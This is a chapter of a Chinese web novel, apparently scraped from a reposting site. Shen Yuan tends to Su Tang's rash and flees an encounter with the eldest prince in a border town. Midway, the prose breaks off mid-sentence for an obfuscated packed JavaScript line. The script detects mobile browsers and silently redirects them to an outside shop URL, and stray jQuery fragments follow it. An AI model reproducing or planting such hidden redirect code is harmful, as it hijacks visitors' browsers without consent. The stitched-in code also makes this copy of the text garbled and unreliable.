文趣网 > 其他小说 > 刺客不下手 > 63. 偶遇大皇子
    边陲镇,苏棠已在客栈等着,怀里多了只猫。

    体型瘦小,毛发是黯淡的黄色,身体蜷缩成一团,看着还挺叫人心生怜意。

    只是这猫从哪里来的?

    看见两人安然无恙回来,苏棠欢喜地叫起来:“你们可算回来了,太好了,我整宿不敢睡觉,就等着呢。”一个哈欠应声响起。

    “劳烦苏少帮主挂心了,这猫……”

    “别提了,你不是叫我将北狄边防资料还给那个姓林的吗?我东西还了,本打算走了,结果还和那人吵了一架。”

    “姓林的?”沈鸢不明所以,直到被萧珩轻声提了句才明白,“你与林将军怎么会吵架?”

    “还不是因为这猫。”苏棠翻了个白眼,“在他营帐外面看见的,我觉得它挺可怜的,想给它喂吃的,那人非说手下的兵巡逻不严,放进了一只猫,要拿人治罪呢。你们说说,哪有这样的?我觉得那人做事没道理,便与他理论了几句,结果你们猜猜,他怎么说?”

    沈鸢蹙眉:“我猜不着,你就别卖关子了。”

    “他说,万一那猫经过训练,是敌人派来的,将军中机密偷了或毁了怎么办?又或者,万一那猫身上携带着什么不干净的东西,导致一众将士都染了病,该怎么办?”

    “……还是有几分道理的。”

    “沈姑娘,你也帮着那个姓林的?”

    听得苏棠不甘心的叫声,沈鸢失笑:“我压根没有见过他,为何要帮他说话?我只是觉得,他是将军,考虑的事情自然与你不同,但是你心疼这猫,也没错。”

    “所以嘛,我就将猫带回来了,管他呢。”苏棠转向萧珩,“你怎么不说话?”

    “……沈姑娘说得对。总之一切小心为上。”

    “我算看出来了,你俩是一伙儿的。”

    萧珩耸肩直笑:“所以日后,不用问我意见。”

    沈鸢不响,眼角往侧边瞥了眼。论心眼和嘴上功夫,此人皆独占鳌头。

    进了自己房间,她也打了个大大的哈欠,熬了一个晚上实在是困了,可是脑子很精神,闭着眼怎么也睡不着。

    掰着手指数日子,忽然想起离开临漳城至今,已有大半月,期间她体内之毒尚未发作过,但算算时间恐怕快了。

    她无从得到新一轮次解药,除非……完成任务。

    平躺的身子一下子坐起来,摄政王深渊般的眼神和鸩无声息的杀意划过心头,她拿了纸笔写下一行字。

    信鸽扑翅而来,又原路走了,她却在桌边坐了许久。

    这次,没有用萧珩暗卫养的信鸽。

    因为要找的人是哑婆婆,她打算向那位隐秘高手讨要一件东西。

    那东西,不能让萧珩知道。

    回到床上,脑中浮现昨晚黑暗中那只捂住自己嘴巴的手,明明已过了很久,她却忍不住将指尖放在唇上。昨日突如其来的温度早已不见,唯有这天气带来的干燥。

    可是心底的荒芜杂草,好似被点滴的水给沁润了,由奢入俭难。

    带着沉沉思绪睡去,醒来时,房门被敲得震天响。

    竟然是苏棠。

    诡异的是,她从头到脚裹着被子,只露出一双布满血丝的眼睛。

    “怎么了?”

    “我身上长了好多红疹子,好痒好痛。”哽咽中,苏棠将被子往下拉了把,白皙脸颊果真红彤彤一片,仔细看去,可不就是密密麻麻的红点吗?

    看得出来,那些疹子极痒,她脸上好几处都被抓破,都流脓水了。

    “你忍忍,我马上帮你买药。”沈鸢与闻声而来的萧珩撞个正着,没时间多说就独自向外奔去。

    药店竟然空了。

    听闻今早新来了一位巡边钦使,水土不服,将此镇的药全部搜刮了。

    沈鸢心里暗骂,也不知哪里来的钦使,实在荒唐,这里本就偏远,买药不易,难道药店是为他一人所开?就不考虑镇里的百姓?

    她向药店伙计描述了苏棠情况,那人想了想,反过来问可是碰到了什么不干净的东西?

    沈鸢一惊,总不会真的是因为来路不明的那只猫?

    伙计指了一条路:镇里已经无药,但军营常年备药,若是能拿到那里的药,病患症状可解。

    军营?脑中想到了那个被苏棠骂了许久的林非林将军,两人不对付,如何找他问药?

    “我跑一趟军营吧。”萧珩声音从身后响起。

    沈鸢一喜,觉得再好不过,当下与他说好了,自己先回客栈照顾苏棠。

    结果回去路上,莫名的被一段人墙给堵着了。

    老远看到一辆甚是豪华的马车,停在大路中间,挡住了众人的路。那马车通体漆成深红色,四角包着铜边,铜面上錾了云纹和兽首,与镇里满是风沙的面貌极为不搭。

    边陲镇哪里见过这样的马车?一时间大家围拢在两侧,议论着马车主人。

    “听说了吗?刚来了位巡边钦使,就是坐着这马车来的!”

    “既是巡边,为何住这里?不应该是随军住营地吗?”

    “看这马车就知道了,方才有风吹起了门帘一角,我瞧见了里面的布置,竟然还有锦垫,绣着一圈的狐狸毛。你再想想边关何等艰苦,钦使大人如何愿意住那种地方?”

    “这……那还来巡什么边?回家躺着得了!”

    “小声点,你可知那位钦使是何人?当朝大皇子!”

    沈鸢嘴角抽搐,怎会是大皇子?

    不过,确实像他能做出来的事,这人最爱声势浩大,恨不得吸引所有人目光。

    想起清河城最后一次见面,那人竟对自己下药,她心里生出极冷的怨气。可是眼下这个节骨眼,不宜节外生枝,若是不幸遇上了那一位,还是避让为上。

    忽然,沈鸢脚步顿住。既然大皇子将药材都买空了,那其他东西呢?她马上要去月照泉,得备足物资才是,绝不能再让其他人给抢先了!

    步履匆匆,她赶去铁器铺,定制了一些工具,又买了些防风沙的东西,隔壁就是一家卖糖水的铺子,眼珠子不由转了过去。

    跟临漳城没法比,这里只有炖梨,但装在一个个朱红色的小盅里,梨肉炖得剔透,还有阵阵清甜香气传来。

    干燥时节,最适合吃这个,沈鸢让老板准备三份。

    苏棠染着病,得吃点清热降火的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725862|208618||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,她自己嘛,也许久未喝了,至于另一位,看在他特地跑军营帮忙求药的份上,当是犒劳吧。

    结果老板不好意思地说:“姑娘,只有两份了。”

    沈鸢指着摊前不断开火炖梨的锅子,惑道:“不是还有许多吗?怎么就没有了?”

    “都已经被人订走了。”

    “什么人需要那么多炖梨?”

    老板缩着头,往沈鸢身后努了努嘴。

    一个衣着不凡的白面小伙子双手插在袖中,不耐烦地问:“好了没?都等了多久了。”

    见沈鸢打量着自己,那小伙子瞪了瞪她:“看什么看?没见过买这么多的?殿下体恤我们一路辛苦,舟车劳顿,赏我们喝的!”

    殿下?出现在这个边陲镇的殿下,又如此高调铺张,还能是哪个殿下?

    只能是大皇子萧瑞了!

    沈鸢忍不住笑了:“哦,那可真是羡慕,不像我,还得自己买。”

    那人听了,目中露出倨傲之色,谁料耳里听见她下一句:“不过我自己赚钱自己买,不像有些人,喝点糖水还得靠赏的。”

    “你什么意思!我是当朝大皇子殿下兼巡边钦使的手下,你敢看不起人?”

    小伙子露出怒容,正要将这个不长眼的女人收拾一番,身后响起一个阴沉声音:“怎么说话呢?跟沈姑娘道歉!”

    比白面小伙脸色更差的是沈鸢。

    万万没想到,大皇子竟然在这里!

    不是养尊处优各种嫌弃挑剔吗?为什么会出现在大街上?

    一回头,只见仪态端方的高大身影对着自己笑意盎然:“沈姑娘,许久不见。我在楼上远远看见姑娘倩影,感觉很像,特地下来一看,没想到真是。这就叫心诚则灵。”

    沈鸢不由顺着他来时方向看去,暗暗叫苦。原来这人就住在附近客栈,真是倒霉。

    最不想看见的人就在眼前,她没有半点久别重逢的喜悦,冷着脸:“你认错人了。”

    “怎会?”萧瑞目光停留在对面那颗红色泪痣,“沈姑娘的脸,一见难忘,二见倾心,我怎会认错?”

    沈鸢一言不发,径直就走,没忘将两盅炖梨带走。

    “沈姑娘一买就是两份,莫不是我那位七弟也在?”

    “我一人能吃两份,不行?”她心中升起警惕,自己一人被发现也就罢了,若是叫这人发现萧珩也在,那岂不是坏事?

    “自然是行的,沈姑娘既然喜欢,不如……”

    沈鸢没等他说完,深吸一口气拔腿就跑,轻烟般穿梭在人群中,最终化为一道残影,叫人再也发现不了她踪迹。

    “追!七弟一定也来了这里!还有这位沈姑娘……”萧瑞目中掠过一抹恨意,“上次没能带走,这次,就不好说了。”

    沈鸢忍着胸闷,扶着墙回到自己下榻之地,见萧珩的马已在,只道他取来了药,谁料正欲推开苏棠房门时,听见里面传来一个陌生男人的声音:“叫你不要乱施舍善心,这下吃苦头了?”

    声音年轻,却有着大漠戈壁般的粗冷质地。

    不会是林非林将军吧?沈鸢按捺住心头惊疑,脚步一拐,拐进了隔壁萧珩房间。